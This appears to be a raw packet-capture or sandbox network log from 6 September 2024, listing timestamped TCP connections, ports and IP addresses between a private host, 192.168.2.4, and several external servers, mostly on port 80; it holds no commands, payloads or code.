Sep 6, 2024 08:17:05.985774040 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.996494055 CEST	443	49744	76.76.21.142	192.168.2.4
Sep 6, 2024 08:17:06.004512072 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.004523039 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.004539013 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.004550934 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.004560947 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.004564047 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.004574060 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.004611015 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.004628897 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.011502028 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.011512041 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.011523008 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.011543989 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.011568069 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.011570930 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.011579037 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.011590004 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.011605978 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.011632919 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.011723995 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.011739016 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.011770010 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.011805058 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.011825085 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.011836052 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.011847019 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.011866093 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.011888981 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.011907101 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.011918068 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.011944056 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.011965036 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.012130022 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.012140989 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.012151957 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.012182951 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.012203932 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.012209892 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.012216091 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.012243032 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.012243032 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.012254000 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.012264013 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.012270927 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.012284040 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.012290955 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.012310982 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.012335062 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.012743950 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.012753963 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.012764931 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.012803078 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.012804031 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.012815952 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.012825966 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.012831926 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.012860060 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.013093948 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.013104916 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.013114929 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.013139963 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.013178110 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.013185978 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.013196945 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.013206005 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.013221025 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.013226032 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.013259888 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.013278961 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.013289928 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.013300896 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.013312101 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.013318062 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.013323069 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.013344049 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.013370037 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.013400078 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.013411045 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.013422012 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.013434887 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.013458967 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.014081955 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.014091969 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.014102936 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.014130116 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.014132977 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.014144897 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.014154911 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.014158010 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.014194965 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.014226913 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.014231920 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.014242887 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.014252901 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.014265060 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.014276028 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.014280081 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.014291048 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.014302969 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.014317036 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.014338970 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.014338970 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.014349937 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.014360905 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.014375925 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.014389038 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.014405966 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.015049934 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.015062094 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.015073061 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.015094995 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.015125036 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.015131950 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.015142918 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.015152931 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.015165091 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.015177011 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.015197992 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.015222073 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.015280962 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.015291929 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.015301943 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.015312910 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.015324116 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.015331984 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.015335083 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.015347004 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.015360117 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.015377998 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.015378952 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.015408993 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.016041040 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.016052008 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.016067982 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.016078949 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.016089916 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.016093016 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.016100883 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.016107082 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.016113043 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.016123056 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.016138077 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.016153097 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.023895979 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.023905993 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.023919106 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.023941040 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.023966074 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.023978949 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.023989916 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.023999929 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024013042 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024023056 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.024029016 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024035931 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.024056911 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024065018 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.024068117 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024096966 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.024111986 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024121046 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.024122953 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024139881 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024152040 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024152040 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.024163008 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024173975 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024178982 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.024209976 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.024571896 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024621964 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.024646997 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024661064 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024677038 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024687052 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024694920 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.024714947 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024725914 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024733067 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.024751902 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.024755001 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024765968 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024777889 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.024796009 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024796963 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.024806023 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024816036 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024854898 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.024890900 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024902105 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024913073 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024928093 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024940968 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.024941921 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024951935 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.024957895 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.024985075 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.025008917 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025011063 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.025019884 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025037050 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025048018 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.025048971 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025060892 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025067091 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.025072098 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025089025 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.025115967 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.025259972 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025295973 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025302887 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.025309086 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025321007 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025340080 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.025353909 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.025394917 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025405884 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025418043 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025428057 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025438070 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025441885 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.025450945 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025461912 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025466919 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.025473118 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025496960 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.025515079 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025521994 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.025532007 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025544882 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025553942 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.025554895 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025576115 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.025593996 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.025708914 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025726080 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025751114 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025754929 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.025770903 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.025789976 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.025815010 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025825977 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025835991 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025854111 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.025877953 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025880098 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.025892973 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.025917053 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.025939941 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.026086092 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026104927 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026113987 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026124954 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.026143074 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.026150942 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026154995 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.026161909 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026171923 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026190042 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.026217937 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.026248932 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026290894 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.026292086 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026303053 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026329041 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.026350021 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026361942 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026371956 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026385069 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026401043 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.026403904 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026415110 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026427031 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.026448965 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.026462078 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026470900 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026495934 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026500940 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.026506901 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026529074 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.026555061 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.026576996 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026587963 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026597977 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026608944 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026619911 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026623011 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.026649952 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026654005 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.026662111 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026678085 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.026695013 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026699066 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.026705027 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.026734114 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.026760101 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.030164957 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.030180931 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.030230999 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.030231953 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.030268908 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.030298948 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.030312061 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.030325890 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.030343056 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.030354977 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.030375957 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.030395985 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.030700922 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.030750990 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.030782938 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.030795097 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.030806065 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.030817986 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.030817986 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.030832052 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.030843019 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.030853033 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.030880928 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.031119108 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.031162024 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.031162024 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.031210899 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.031214952 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.031228065 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.031269073 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.031289101 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.031301022 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.031311989 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.031328917 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.031368017 CEST	49734	80	192.168.2.4	176.113.115.33
